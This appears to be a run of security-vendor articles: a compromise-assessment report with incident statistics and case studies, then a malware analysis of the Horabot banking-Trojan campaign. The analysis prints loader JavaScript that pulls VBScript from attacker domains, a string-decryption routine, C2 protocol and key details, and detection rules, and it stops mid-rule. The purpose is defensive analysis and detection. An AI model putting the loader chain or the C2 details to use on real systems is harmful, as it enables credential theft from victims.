The attacker used Impacket to execute a PowerShell command that downloaded an executable from a command-and-control server. This server was found to be associated with Cobalt Strike. Cobalt Strike is a post-exploitation tool that provides capabilities for remote command execution and lateral movement within a compromised network. The execution was set up via a scheduled task that attempted to masquerade as a legitimate Google Chrome update task.
The timeline assessment confirmed the presence of a Mimikatz binary and a memory dump associated with the same incident on the compromised system, confirming that a credential theft operation had indeed taken place.
The organization was completely unaware of the breach. The activity had gone undetected for three months because the deployed controls were never monitored. Upon learning of the findings, a full-scale incident response was initiated to eradicate the footholds, rotate credentials, and harden the security of the environment.
Security controls are not self-sufficient. Deploying a firewall or an EDR solution does not automatically protect you. Without proper configuration, baseline tuning, and, most critically, continuous log monitoring and threat hunting, those controls become merely decorative. Always-on monitoring, either performed internally or delegated to an external managed security service, can turn weeks-old compromises into minutes-old alerts by correlating events, hunting for anomalous use of penetration testing or hacking tools, and escalating suspicious activity.
Incident response action statistics
An analysis of historical compromise assessment projects reveals a persistent discrepancy between the best practices described in incident response playbooks and the operational realities of executing them in unprepared, often legacy-affected environments. The figure below shows how frequently each response action was required during the initial response phase of a compromise assessment.
Incident response actions required after compromise assessment (download)
The distribution highlights three frequently observed patterns:
Forensic analysis accounts for the majority of cases, with around 59% requiring at least one forensic package collection and analysis.
Remote eradication, i.e., file or registry key removal, was reported in 39% of cases.
Plans evolve as the investigation proceeds; 39% of engagements required a mid-engagement plan update, reflecting the iterative nature of incident response.
Why forensic collection is the default entry point
Forensic package collection and analysis was the most frequent response action, occurring in 59% of cases. The prevalence of forensic package collection can be explained by two observable factors in CA engagements: (1) the targeted organization’s limited historical visibility and (2) the fact that a substantial proportion of incidents were older than 90 days at the start of the assessment. In many cases, native logs had already been rotated or purged, forcing investigators to rely on residual artifacts (e.g., MFT entries, registry hives, filesystem timestamps) to reconstruct timelines.
Our observations suggest that remote forensic package collection is effectively a prerequisite rather than an optional convenience. The graph below summarizes the reported ability to collect forensic packages, categorized by incident severity level. It highlights that, in a significant proportion of high-severity cases, the affected organization lacked this capability.
The organization’s ability to collect forensic data by incident severity (download)
Containment: The remove files/registry keys paradox
Response execution and eradication actions, such as file or registry key removal (reported in 39% of cases), were also common. However, they highlighted a notable gap in execution practices. While many organizations reported having EDR capabilities for remote removal, execution was often delegated to IT teams or MSPs via ticketing systems. This can introduce delays and reduce the precision of the removal process. Malware removal is a surgical process, particularly in multi-stage, fileless, or persistence-heavy scenarios. Capability alone is insufficient without expertise, sequencing, and planning, especially when artifacts may exist in shadow copies, backups, hidden paths, or downloader chains.
Communication failures: An additional operational overhead
A notable organizational finding emerged regarding communication. In 32% of projects, internal communication issues at the assessed organization materially impacted response execution. Below are the typical blockers:
Unclear action confirmation – system administrators could not quickly confirm whether a suspicious file was legitimate.
Delayed owner validation – ticket escalations stalled while waiting for system owners to respond.
Compromised communication channels – email accounts or ticketing portals may already be under the attacker’s control in the event of a suspected domain compromise.
Staff turnover – loss of knowledge about historical configuration baselines.
These findings suggest that regular tabletop exercises are required to test not only technical playbooks, but also human and communication workflows, as well as operational level agreements that govern and facilitate communication between different teams, and standard operating procedures for proper documentation.
The iterative nature of response plan updates
The need to update response plans based on new analytical input arose in 39% of cases, emphasizing the inherently iterative nature of incident response. Early-stage plans cannot realistically account for all variables. Examples of the most commonly observed causes for updating the response plan are listed below:
Reverse engineering results that reveal previously unknown command-and-control (C2) servers or behaviors.
Forensic discoveries, such as hidden scheduled tasks, shadow-copy artifacts, or dormant DLLs.
Traffic analysis outcomes that expose additional lateral movement paths.
Human constraints – unavailable system owners, changes in management processes, or supervisor approval.
Based on our experience, teams that treat the IR plan as a living document – incorporating each new artifact, reprioritizing actions, and reissuing the playbook before the next containment step – reduce the risk of missed eradication steps. Conversely, strict adherence to an initial, evidence-limited plan can increase the risk of overlooking persistent footholds.
Distinguishing real attacker artifacts from penetration testing leftovers
Finally, distinguishing attacker activity from penetration testing artifacts remained a recurring challenge (12% of cases). Compromise assessments frequently uncover remnants of legitimate testing tools, which can create uncertainty about whether a detected artifact originated from a malicious intrusion or a legitimate penetration test. Contributing factors:
Poorly documented penetration test report and artifact cleanup.
Overlapping toolsets (e.g., SharpHound) used by both red team operators and adversaries.
Running compromise assessments and active penetration testing projects simultaneously, which degrades analyst focus and increases false positive rates. Although correlating findings with penetration testing reports is essential, compromise assessments are human-driven investigative processes, and confusing analysts with overlapping “legitimate” attack signals leads to misinterpretation and weaker outcomes.
Incident response maturity and its effect on severity
Our data show a correlation between the presence of internal digital forensics or malware reverse engineering capabilities and the distribution of incident severity categories. Across the 2025 compromise assessment engagements, the distribution of low-, medium- and high-severity findings differed markedly between organizations that possessed these capabilities and those that did not. The data below illustrate this correlation and provide a basis for assessing the business value of expanding internal response skill sets.
Incident severity split for cases requiring digital forensics, based on an organization’s capabilities (download)
Organizations capable of analyzing digital forensic artifacts independently experienced half as many high-severity incidents and a higher proportion of low- and medium-severity cases.
Incident severity split for cases requiring malware analysis, based on an organization’s capabilities (download)
The presence of a dedicated reverse engineering resource correlates with a total absence of high-severity cases in our sample set; the majority of incidents were rated as medium severity, with a significant proportion of low-severity outcomes.
The analysis of this correlation indicates, with medium confidence, that the observed shifts are unlikely to be caused solely by sample size effects. Rather, they are more likely to reflect a genuine operational phenomenon: internal digital forensics and malware analysis capabilities contribute not only to SOC processes, but also to cyber-resilience in general.
Case study: In-memory LionTail infection on critical Windows servers
During a compromise assessment, a persistent in-memory threat was identified on several critical servers. The activity was attributed to the LionTail framework, a sophisticated set of custom loaders and memory-resident shellcode implants. LionTail takes advantage of undocumented Windows HTTP.sys driver behaviors to covertly deliver and retrieve payloads via inbound HTTP traffic, effectively blending malicious activity into legitimate network flows.
Several observed variants are attributed to the Scarred Manticore actor, which generates a unique implant per compromised host and performs data exfiltration while carefully masking command-and-control communications within normal-looking traffic.
Detection was achieved through static memory signatures discovered within the scrcons.exe process. Although scrcons.exe is a legitimate WMI host binary located under C:\Windows\System32\wbem, it is frequently abused to host injected payloads, making it an attractive target for stealthy in-memory operations.
The response plan comprised a number of actions, the most critical of which are highlighted below:
Collection of volatile memory dumps for in-depth analysis.
Acquisition of full forensic disk images from affected systems.
Detailed analysis of the collected artifacts and subsequent updates to the incident response plan.
Executing these actions proved challenging for the organization because of its limited digital forensics and reverse engineering capabilities. In incidents dominated by fileless memory-resident threats, these capabilities are not optional – they are essential. Without them, organizations risk losing critical evidence, misjudging the scope of the compromise, or failing to fully eradicate advanced implants that leave minimal traces on disk.
While our specialists were able to complete the investigation and contain the breach, the case revealed a readiness gap. It demonstrated the operational risk of depending on external assistance during high‑impact incidents and reinforced the necessity of in‑house forensic and reverse‑engineering maturity to achieve timely, confident and comprehensive incident handling.
Solving the root cause problems
Upon completion of a compromise assessment engagement, the focus shifts from incident response to a consulting phase. The final workshop focuses on preventing recurrence of incidents by identifying underlying deficiencies that allowed them to go unnoticed. The recommendations are actionable and tailored to the environment. For the purpose of this report, they have been grouped into a limited set of high-level categories.
Root-cause category
Share of incidents
Typical findings
Insufficient detection fidelity
60.7%
• No high-confidence alerts were generated by the EPP/EDR or related log sources.
• In 9.4% of cases, the product was mis-configured or out of date or malfunctioning.
Missing alert-driven monitoring
35.9%
• Alerts that could have indicated compromise were generated, but an incident was not declared.
• Signals with high uncertainty (e.g., heuristic web shell detections) required analyst validation.
Deficient vulnerability and configuration management
28.2%
• Evident misconfigurations (e.g., disabled audit logging, over-permissive service accounts).
• Known vulnerabilities left unpatched or unmitigated.
Lack of structured threat hunting processes
27.4%
• Low-fidelity alerts were never reexamined after initial dismissal.
• High-volume telemetry remained unchecked due to staffing constraints.
Inadequate security awareness programs
25.6%
• Credential leaks from personal devices of employees or contractors accounted for 27.2% of incidents where inadequate security awareness was identified.
• Social engineering attempts were successful because of insufficient user training.
Absence of documented policies/processes
23.9%
• No formal incident response playbooks, change management procedures or data handling guidelines were available.
Common observations on root causes
The detection health check was the most frequent corrective action. In more than half of the cases where alerts were missing, a simple verification of sensor health and rule relevance was recommended to fill the gap. Without such validation, immediate attribution of the failure to the product capability could not be made.
Human analysis is still essential for low-confidence alerts. Automated pipelines alone cannot compensate for rules prone to false positives (e.g., generic web shell heuristics). Embedding a manual triage step was recommended to reduce the dwell time for incidents.
Process hygiene (vulnerability management, threat hunting, security policies) accounts for a substantial proportion of the root causes. Even mature organizations exhibited gaps in routine activities that could be mitigated with disciplined workflows. The absence of documented policies/processes was the root cause of 23.9% of cases.
A modern example of a policy gap is the use of generative AI development tools that operate without clear data handling rules. During one project, we identified a macOS workstation that executed the Claude Code (Anthropic) command-line assistant as a VS Code extension. The tool automatically captured filesystem snapshots to enrich its language model prompts. These snapshots included full directory listings and absolute paths to several Excel workbooks containing internal confidential data:
ls -lh /Users/[REDACTED]/Documents/[REDACTED].xlsx /Users/[REDACTED]/Documents/[REDACTED].xlsx /Users/[REDACTED]/Documents/[REDACTED].xlsx .. [REDACTED]
The organization was advised to conduct awareness sessions for employees on the risk of exposing confidential internal data to generative AI tools, and to develop a policy governing the use of such tools with confidential information.
Lack of detections: Causes and impacts
Compromise assessment engagements repeatedly show that insufficient detection fidelity is a significant contributing factor to high-severity incidents. In cases where the target organization’s detection coverage was rated low, 52% of incidents were classified as high severity and 15% as low severity. This suggests a correlation: limited visibility appears to increase the proportion of incidents that evolve into high-severity compromises.
Incident severity distribution when detection coverage was insufficient (download)
A common assumption is that engaging a managed security service provider (MSSP) improves detection maturity. The data, however, show a more nuanced picture. Even when an MSSP is engaged, 26.5% of incidents related to low detection coverage remain unidentified, and roughly 50% of MSSP-supported projects have basic Windows audit gaps (e.g., missing event log collection or disabled audit policies).
These findings suggest that outsourcing alone does not guarantee effective detection; active governance and continuous validation are required. Detection should be treated as an evolving capability that requires continuous testing, measurement, and refinement, irrespective of whether it is managed internally or by a third party.
Statistics of missed incidents due to lack of detection capability with or without MSSP (download)
The analysis of root causes of missed detections reveals several recurring themes. In many environments, the technology is present but poorly operationalized. The main issues are:
Absence of endpoint protection platform (EPP) health check – nearly 50% of incidents escalated to high severity in engagements where the EPP health check was weak or absent. This reflects the classic “installed-but-not-enforced” risk, where agents are present but not tuned, updated, or validated.
Threat intelligence gaps – when there was no functional threat intelligence feed or platform, about half of the incidents reached high severity. Without curated indicators of compromise and contextual enrichment, analysts rely on generic alerts and may overlook known malicious behaviors.
The underlying issue is an alert-driven, set-and-forget mindset: organizations assume that deployed tools will automatically protect them, even though the tools are not continuously tuned, validated, or enriched with threat intelligence.
Incident severity breakdown where there was no EPP health check or threat intelligence
Missing control
High-severity
Medium-severity
Low-severity
EPP health check
48.3%
36.7%
15%
Threat intelligence feed
50%
40%
10%
Detection failures are rarely caused by a single missing control; they emerge from weak configuration, insufficient telemetry, and an absence of regular checks of controls and processes to ensure they are functional, especially in outsourced models. A hybrid monitoring approach that combines internal ownership with external MDR or MSSP support consistently proves to be the most resilient model when roles, expectations, and performance metrics are clearly defined. Detection must be treated as a living function, not a procurement outcome.
The following example illustrates the real-world consequences of control gaps by walking through a severe incident that persisted undetected for months simply because the organization lacked the necessary detection capabilities and security tools.
Case study: In-memory PurpleFox infection evades conventional endpoint protection
During a compromise assessment engagement, memory was scanned on the target hosts using the threat hunting rule set. Two hidden objects were identified:
PurpleFox rootkit code injected into legitimate svchost.exe processes on several critical servers.
PurpleFox drops specially crafted DLLs and forces svchost.exe to load them. From there, it installs a kernel-mode driver that gives the attacker persistent and stealthy execution capabilities, as well as the ability to pull additional payloads. This results in the loading of the XMRig miner.
The deployed EPP solution monitored file creation, registry modifications and network connections. However, its memory inspection module was disabled. Additionally, the signature set applied at the time of the assessment was not up to date. As a result, no alerts were generated for the injected DLLs or the miner’s shellcode. The compromise assessment team identified this detection gap during the memory analysis phase and documented the missing in-memory inspection capability in the final report.
The organization’s security operations were outsourced to an MSSP, which collected the logs and forwarded them to the SIEM solution. Because the logs never contained alerts for in-memory activity, PurpleFox activity was not identified.
Insufficient vulnerability management: A catalyst for high-severity compromises
In the 2025 compromise assessment engagements, more than half of the threats identified and linked to insufficient vulnerability management practices or missing patches were classified as high severity. The most frequently observed consequences were the deployment of web shells that enabled persistent remote code execution and the exploitation of misconfigured Active Directory instances.
Severity distribution of incidents due to improper vulnerability management (download)
The root causes of missing patches are multifaceted. They include inadequate asset inventory management (25% of projects) and the absence of formal vulnerability management processes (41% of projects). Moreover, 86% of organizations that claimed to have a vulnerability management program still exhibited exploited misconfigurations during compromise assessment engagements. These findings suggest that robust patch management, comprehensive asset inventory practices, and structured vulnerability management processes are critical for preventing high-severity incidents.
Case study: How overly permissive GPO-based software distribution goes wrong
During multiple compromise assessment engagements, a high-impact misconfiguration was consistently observed: a Group Policy Object (GPO) was used to point to an executable in a shared folder and run it on every workstation via a scheduled task. The access control list (ACL) on the share was set to “Everyone – Full Control”.
Given that any authenticated domain user can write to the share, an attacker who compromises a single low-privilege account can replace the legitimate binary with a malicious payload. The next scheduled task run propagates the payload automatically to all endpoints that receive the GPO. This provides:
Elevated execution context: the scheduled task typically runs under the SYSTEM or local administrator account.
Automatic lateral movement: the malicious binary propagates without requiring additional network exploitation.
Privilege escalation: a compromised low-privilege account can lead to domain administrator code execution.
Vulnerability management procedures that include systematic GPO and share permission audits would have flagged the writeable ACL as a high-severity finding, enabling remediation before exploitation. Remediation typically involves restricting the share permissions to “Authenticated Users” with read-only access and limiting modifications to certain privileged accounts. Incorporating these checks into the baseline security controls reduces the attack surface, demonstrating the tangible risk reduction achievable through disciplined vulnerability assessment and penetration testing (VAPT) practices.
Conclusion
In 2025, Kaspersky Compromise Assessment helped organizations reveal a persistent detection gap: 30.8% of all incidents and 52% of high-severity compromises had historical activity spanning over three months. Of all the incidents discovered, 20% were found manually, while 60% were missed by enterprises because of the absence of high-confidence alerts from existing tools. The oldest missed incident identified by the Kaspersky Compromise Assessment team in 2025 was four years old.
Post-incident checkups produced the highest percentage of high-severity findings, while regular proactive audits, compliance-driven audits, and audits performed before merging two networks tended to reveal issues earlier. This indicates that purely reactive investigations often miss hidden persistence. The top high-level recommendations for immediate improvement in 2025 for all projects were:
Run a comprehensive detection engine health check within 30 days of project closure, prioritizing telemetry integrity and rule relevance.
Introduce a Tier 1 alert validation team that reviews all low-confidence events on a defined schedule.
Ensure robust 24/7 monitoring augmented with threat hunting capabilities focused on baselining, low-fidelity alerts, and emerging adversary techniques.
Reevaluate the vulnerability management pipeline to ensure continuous patching and audit log activation across all critical assets.
Update security awareness curricula to address credential leakage from personal devices and reinforce secure BYOD practices.
Ensure periodic tabletop exercises are run to test technical playbooks and sharpen the team’s skills and communication workflows.
Establish operational-level agreements to govern and facilitate communication between different teams and standard operating procedures used for proper documentation.
Addressing the root cause categories systematically will reduce the likelihood of future blind spots and improve the overall security posture of the engaged organizations.
Kaspersky Security Services provide a comprehensive cybersecurity ecosystem, taking enterprise threat protection to another level. Services like Kaspersky Managed Detection and Response and Compromise Assessment allow for timely detection of threats and cyberattacks. SOC Consulting provides a practical approach ensuring the corporate infrastructure stays secured, while Incident Response is suited for timely remediation with a maximized recovery rate.
High-level overview of the MDR, IR and CA connection
This new report brings together statistics across regions and industries from our Managed Detection and Response and Incident Response services, and for the first time, it also includes insights from our Compromise Assessment and SOC Consulting services — all to provide you with more comprehensive view of different aspects of corporate information security worldwide.
The scope of MDR and IR services
Provision of Kaspersky’s MDR and IR services follows a global approach. The majority of customers accounted for the CIS (34.7%), the Middle East (20.1%), and Europe (18.6%).
Distribution of customers by geographical region, 2025
MDR telemetry
Following the previous year’s numbers, in 2025, the MDR infrastructure received and processed an average of 15,000 telemetry events per host every day, generating security alerts as a result. These alerts are first processed by AI-powered detection logic, after which Kaspersky SOC analysts handle them as required. Overall, a total of approximately 400,000 alerts were generated in 2025. After counting out false positives, 39,000 alerts were further investigated.
MDR telemetry statistics, 2025
Incident statistics
The distribution of remediation requests by industry has slightly changed as compared to previous years’ pattern. Government (18.5%) and industrial (16.6%) organizations are still the most targeted industries in regards to cyberattacks that require incident response activities. However, this year, the IT sector saw a growth in the number of IR requests, eventually being placed third in the overall industry distribution rankings and thus replacing financial organizations, which were targeted less often than in 2024. This is equally true for smaller-scale attacks that can be contained and remediated through automated means — the only difference is that medium- and low-severity incidents are more often experienced by financial organizations.
Distribution of all incidents by industry sector, 2025
Key trends and statistics
This section presents key findings and trends in cyberattacks in 2025:
The number of high-severity incidents decreased, following a downward trend that we’ve been observing since 2021. The majority of those incidents account for APT attacks and red teaming exercises, which indicates two landscape trends. On the one hand, skilled adversaries make efforts to increase impact, while on the other, organizations spend more resources on probing their defense systems.
The most common vulnerabilities exploited in the wild were related to Microsoft products. Half of all identified CVEs led to remote code execution, notably without authentication in some cases.
Exploitation of public-facing applications, valid accounts, and trusted relationships remain the most popular initial vectors, and their overall share has increased, accounting to over 80% of all attacks in 2025. In particular, attacks through trusted relationships are evolving: their share has increased to 15.5% from 12.8% in 2024. They are also becoming more complex: for instance, we witnessed a case where adversaries had compromised more than two organizations in sequence to ultimately gain access to a third target.
Standard Windows utilities remain a popular LotL tool. Adversaries use those to minimize the risk of detection during delivery to a compromised system. The most popular LOLBins we observed in high-severity incidents were powershell.exe (14.4%), rundll32.exe (5.9%), and mshta.exe (3.8%). Among the most popular legitimate tools used in incidents we flag Mimikatz (14.3%), PowerShell (8.1%), PsExec (7.5%), and AnyDesk (7.5%).
The full 2026 Global Report provides additional information about cyberattacks, including real-world cases discovered by Kaspersky experts. We also describe SOC Consulting projects and Compromise Assessment requests. The report includes comprehensive analysis of initial attack vectors in correlation with the MITRE ATT&CK tactics and techniques and the full list of vulnerabilities that we detected during Incident Response engagements.
In this installment of our SOC Files series, we will walk you through a targeted campaign that our MDR team identified and hunted down a few months ago. It involves a threat known as Horabot, a bundle consisting of an infamous banking Trojan, an email spreader, and a notably complex attack chain.
Although previous research has documented Horabot campaigns (here and here), our goal is to highlight how active this threat remains and to share some aspects not covered in those analyses.
The starting point
As usual, our story begins with an alert that popped up in one of our customers’ environments. The rule that triggered it is generic yet effective at detecting suspicious mshta activity. The case progressed from that initial alert, but fortunately ended on a positive note. Kaspersky Endpoint Security intervened, terminated the malicious process (via a proactive defense module (PDM)) and removed the related files before the threat could progress any further.
The incident was then brought up for discussion at one of our weekly meetings. That was enough to spark the curiosity of one of our analysts, who then delved deeper into the tradecraft behind this campaign.
The attack chain
After some research and a lot of poking around in the adversary infrastructure, our team managed to map out the end-to-end kill chain. In this section, we will break down each stage and explain how the operation unfolds.
Stage 1: Initial lure
Following the breadcrumbs observed in the reported incident, the activity appears to begin with a standard fake CAPTCHA page. In the incident mentioned above, this page was located at the URL https://evs.grupotuis[.]buzz/0capcha17/ (details about its content can be found here).
Fake CAPTCHA page at the URL https://evs.grupotuis[.]buzz/0capcha17/
Similar to the Lumma and Amadey cases, this page instructs the user to open the Run dialog, paste a malicious command into it and then run it. Once deceived, the victim pastes a command similar to the one below:
This command retrieved and executed an HTA file that contained the following:
It is essentially a small loader. When executed, it opens a blank window, then immediately pulls and runs an external JavaScript payload hosted on the attacker’s domain. The body contains a large block of random, meaningless text that serves purely as filler.
Stage 2: A pinch of server-side polymorphism
The payload loaded by the HTA file dynamically creates a new <script> element, sets its source to an external VBScript hosted on another attacker-controlled domain, and injects it into the <head> section of a page hardcoded in the HTA. You can see the full content of the page in the box below. Once appended, the external VBScript is immediately fetched and executed, advancing the attack to its next stage.
var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/ld1/");
scriptEle.setAttribute("type", "text/vbscript");
document.getElementsByTagName('head')[0].appendChild(scriptEle);
The next-stage VBS content resembles the example shown below. During our analysis, we observed the use of server-side polymorphism because each access to the same resource returned a slightly different version of the code while preserving the same functionality.
The script is obfuscated and employs a custom string encoding routine. Below is a more readable version with its strings decoded and replaced using a small Python script that replicates the decode_str() routine.
The script performs pretty much the same function as the initial HTA file. It reaches a JavaScript loader that injects and executes another polymorphic VBScript.
var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/");
scriptEle.setAttribute("type", "text/vbscript");
document.getElementsByTagName('head')[0].appendChild(scriptEle);
Unlike the first script, this one is significantly more complex, with more than 400 lines of code. It acts as the heavy lifter of the operation. Below is a brief summary of its key characteristics:
Heavy obfuscation: the script uses multiple layers of obfuscation to obscure its behavior.
Custom string decoder: employs the same decoding routine found in the first VBScript to reconstruct strings at runtime.
Anti-VM and “anti-Avast”: performs basic environment checks and terminates if a specific Avast folder or VM artifacts are detected.
Information gathering and exfiltration: collects the host IP, hostname, username, and OS version, then sends this data to a C2 server.
Download of additional components: retrieves an AutoIt executable, its compiler (Aut2Exe), a script (au3), and a blob file, placing them under the hardcoded path C:\Users\Public\LAPTOP-0QF0NEUP4.
PowerShell command execution: executes PowerShell commands that reach out to two different URLs (one unavailable and the other leading to the first stager of the spreader, which we describe later in this article).
Persistence setup: creates a LNK file and drops it into the Startup folder to maintain persistence.
Cleanup routines: removes temporary files and terminates selected processes.
During our analysis of the heavy lifter, specifically within the exfiltration routine, we identified where the collected data was being sent. After probing the associated URL and removing the “salvar.php” portion, we uncovered an exposed webpage where the adversary listed all their victims.
As you may have noticed, the table is in Brazilian Portuguese and lists victims dating back to May 2025 (this screenshot was taken in September 2025). In the “Localização” (location) column, the adversary even included the victims’ geographic coordinates, which are redacted in the screenshot. A quick breakdown shows that, of the 5384 victims, 5030 were located in Mexico, representing roughly 93% of the total.
Stage 3: The evil combination of AutoIT and a banking Trojan
It is now time to focus on the files downloaded by our heavy lifter. As previously mentioned, three AutoIT components were dropped on disk: the executable (AutoIT3), the compiler (Aut2Exe), and the script (au3), along with an encrypted blob file. Since we have access to the AutoIt script code, we can analyze its routines. However, it contains over 750 lines of heavily obfuscated code, so let’s focus only on what really matters.
The most important routine is responsible for decrypting the blob file (it uses AES-192 with a key derived from the seed value 99521487), loading it directly into memory, and then calling the exported function B080723_N. The decrypted blob is a DLL.
We also managed to replicate the decryption logic with a Python script and manually extract the DLL (0x6272EF6AC1DE8FB4BDD4A760BE7BA5ED). After initial triage and basic sandbox execution, we observed the following:
The sample is a well-known Delphi banking Trojan detected by several engines under different names, such as Casbaneiro, Ponteiro, Metamorfo, and Zusy.
It embeds two old OpenSSL libraries (libeay32.dll and ssleay32.dll) from the Indy Project, an open-source client/server communications library used to establish client/server HTTPS C2 communication.
It includes SQL commands used to harvest credentials from browsers.
Once loaded into memory, the Trojan sends several HTTP requests to different URLs:
HTML lure page designed to trick the user into accessing a malicious link whose contents are also used as a PDF attachment during the email distribution phase.
https://upstar.pics/a/08/150822/up/up (GET)
The resource was already unavailable at the time our testing was conducted.
https://cgf.midasx.site/a/08/150822/au/au (GET)
The page containing the first stage leading to the spreader.
Since this malware family has been extensively documented in previous studies, we won’t reiterate its well-known functionality. Instead, we’ll focus on lesser-documented and newly observed features, including the malware’s encryption and protocol handling logic.
The sample implements a stateful XOR-subtraction cipher in the sub_00A86B64 subroutine, which is used to protect strings and decrypt HTTP data received from the C2. Unlike simple XOR, each byte of output here depends on both the key and the previous byte. In our sample, the key is the string "0xFF0wx8066h".
Key construction (left) and decryption logic (right)
We can easily reimplement the logic of the routine in Python and integrate the following snippet into our workflow to automate string decryption:
def decrypt_string(encrypted_hex):
key_string = "0xFF0wx8066h"
key_index = 0
result = ""
current_key = int(encrypted_hex[0:2], 16)
i = 2
while i < len(encrypted_hex):
next_key = int(encrypted_hex[i:i+2], 16)
if key_index >= len(key_string):
key_index = 0
key_char = ord(key_string[key_index])
xored_value = next_key ^ key_char
if xored_value > current_key:
decrypted_char = xored_value - current_key
else:
decrypted_char = (xored_value + 0xFF) - current_key
result += chr(decrypted_char)
current_key = next_key
key_index += 1
i += 2
return result
Python implementation of the decryption routine
The encrypted strings are retrieved in three different ways: through indexed lookups using a global encrypted Delphi string list (also observed by our colleagues at ESET); via direct references to encrypted hex strings in the data section; through indirect references using pointer variables, adding an overhead when automating decryption with scripts.
Direct pointer (left), indirect pointer (right)
Indexed strings via TStringList lookups
The malware fetches its configuration by performing an HTTPS GET request to the hardcoded, encrypted C2 server. The server responds with a configuration, which is a raw HTTP response, consisting of several values, each individually encrypted with the aforementioned algorithm. The sample extracts specific parameters based on their position in the list.
To improve readability, the above screenshot has been edited to include the decrypted parameters, which are separated by double newlines.
Configuration retrieval and parsing are initiated in the sub_00AD2C70 subroutine where the first configuration value, the C2 socket connection setting (host;port), is extracted.
C2 socket address extraction
If parsing fails, the malware falls back to a hardcoded secondary C2 socket address. The socket connection is then established.
Fallback to hardcoded socket address (lifenews[.]pro:49569)
Additional configuration values are parsed in sub_00AD2918 and its subroutines. For example, in the decrypted C2 configuration shown above, parameter 5 contains the “UPON” string that triggers execution, and parameter 6 contains the PowerShell commands that are run when this string is used. Below is the portion of the routine that takes care of parsing this command:
Extracting value 5 and 6 from the configuration
In addition to HTTP communication, the malware supports raw socket communication using a custom protocol that encapsulates commands into tags such as <|SIMPLE_TAG|> or <|TAG|>Arg1<|>Arg2<<|>.
The client initiates the C2 connection in sub_00AD331C, where it establishes a TCP socket to the operator’s server and sends the "PRINCIPAL" command to request a control channel. After receiving an OK response, it follows up with an "Info" message containing system details. Once validated, the server replies with a "SocketMain" message containing a session ID, completing the handshake. All subsequent command handling occurs in sub_00AD373C, a central orchestrator routine that parses incoming messages and dispatches the malicious actions.
The sample, and therefore the protocol itself, is inherited, from the open-source Delphi Remote Access PC project, as our colleagues at ESET have noted in the past. Below is a visual comparison:
Comparison of “PING” and “Close” commands (sample disassembly on the left, Delphi Remote Access source code on the right)
Some features from the open-source project, including the chat and file manipulation commands, have been removed, while some mouse-related commands have been renamed with playful prefixes like “LULUZ” (e.g., LULUZLD, LULUZPos). This could be an inside joke, anti-analysis obfuscation, or a way to mark custom variants. Beyond the standard functionality, the protocol now includes a range of additional custom commands, such as LULUZSD for mouse wheel scrolling down, ENTERMANDA to simulate pressing the Enter key, and COLADIFKEYBOARD to inject arbitrary text as keystrokes.
The full command set is considerably larger, and while not all commands are implemented in the analyzed sample, evidence of their presence (e.g., in the form of strings) suggests ongoing development.
After getting a sense of the protocol, let’s focus on the cipher used. In this sample, traffic exchanged via the C2 socket channel is encrypted using another stateful XOR algorithm with embedded decryption keys. Its logic is implemented in the routines sub_00A9F2D0 (encryption) and sub_00A9F5C0 (decryption):
Encryption routine sub_00A9F2D0
The encryption routine generates three random four-digit integer keys. The first key acts as the initial cipher state, while the other two serve as the multiplier and increment that are applied at every encryption stage to both the state and the data. For each character in the input string, it takes the high byte of the current state, XORs it with the character to encrypt, and then updates the cipher state for the next character. The output is created by prepending the three keys to the ciphertext, encapsulating everything within the “##” markers. The final output looks like this:
Although this encryption layer was likely intended to evade network inspection, it ironically makes detection easier due to its highly regular and repetitive structure. This pattern, including the external markers “##”, is uncommon in legitimate traffic and can be used as a reliable network signature for IDS/IPS systems. Below is a Suricata rule that matches the described structure:
alert tcp any any -> any any ( \
msg:"Horabot C2 socket communication (##hex##)"; \
flow:established; \
content:"##"; depth:2; fast_pattern; \
content:"##"; endswith; \
pcre:"/^##[1-9][0-9]{3}[1-9][0-9]{3}[1-9][0-9]{3}[0-9A-F]+##$/"; \
classtype:trojan-activity; \
sid:1900000; \
rev:1; \
metadata:author Domenico; \
)
As documented by our colleagues at Fortinet, the malware contains functionality to display fake pop-ups prompting victims to enter their banking credentials. The images for these pop-ups are stored as encrypted resources. Unlike strings, resources are decrypted using the standard RC4 cipher, and the key pega-avisao3234029284 is retrieved from the previous TStringList structure at offset 3FEh.
Fake token overlay used for credential theft (right), with disassembly (left)
The wordplay around “pega a visão”, Brazilian slang meaning “get the picture” figuratively, reveals an intentional cultural reference, supporting the already well-known Brazilian ties of the operators who have a native understanding of the language.
Below is a collage of pictures where the targeted bank overlays are visible.
Excerpt of decrypted fake overlays
Stage 4: The spreader
In our tests, we noticed that both the VBScript (the heavy lifter) and the Delphi DLL have overlapping functionality for downloading the next stage via PowerShell. Although they rely on different domains, they follow the same URL pattern.
We tried accessing URLs meant for downloading the spreader. One returned nothing, while the other displayed a sequence of two PowerShell stagers before reaching the actual spreader.
In the second stager, we found several Base64-encoded URLs, but only one of them was active during our analysis. Based on comments found in the spreader code, we suspect that in previous versions or campaigns the spreader was assembled piece by piece from these other URLs. In our case, however, a single URL contained all the necessary code.
Yes, we also wondered how PowerShell could possibly accept ASCII chaos as variable/function names, but it does. After cleaning up the messy naming convention and reviewing the well-commented routines (thanks, threat actor), we were able to identify its main duties:
Harvest emails via the MAPI namespace;
Exfiltrate unique email addresses to the C2;
Clean up the outbox;
Filter the exfiltrated email addresses against a blocklist of keywords;
Prepare a phishing email containing a malicious PDF;
Mass-distribute the email to the filtered addresses.
One interesting point is that the spreader’s code and comments allow us to extract some useful intel:
All comments are written in Brazilian Portuguese, which gives a strong indication of the threat actor’s origin.
It is fairly easy to distinguish comments written by a human from those most likely generated by an AI/LLM; the latter are too formal and remarkably well-formatted. One of the human comments actually inspired the title of this article.
One of the comments in the code reads “limpa a caixa de saida antes de sapecar”. Sapecar has a very specific meaning that only Brazilian Portuguese speakers would naturally understand. The closest equivalent to this comment in English would be: “Clear the outbox before you blast it off or let it rip.”
Our team tracked Horabot activity for a few months and compiled a collection of malicious attachment examples used in this campaign. They are all written in Spanish and urge the user to click a large button in the document to access a “confidential file” or an “invoice”. Clicking the button triggers the same infection chain described in this article.
Detection engineering and threat hunting opportunities
After navigating this long, layered attack chain, we bet some of the tech folks reading this have already started imagining potential detection opportunities.
With that in mind, this section provides some rules and queries that you can use to detect and hunt this threat in your own environment.
YARA rules
The YARA rules focus on two core components of the operation: the AutoIt script that functions as the loader, and the Delphi DLL that serves as the banking Trojan.
import "pe"
rule Horabot_Delphi_Trojan
{
meta:
author = "maT"
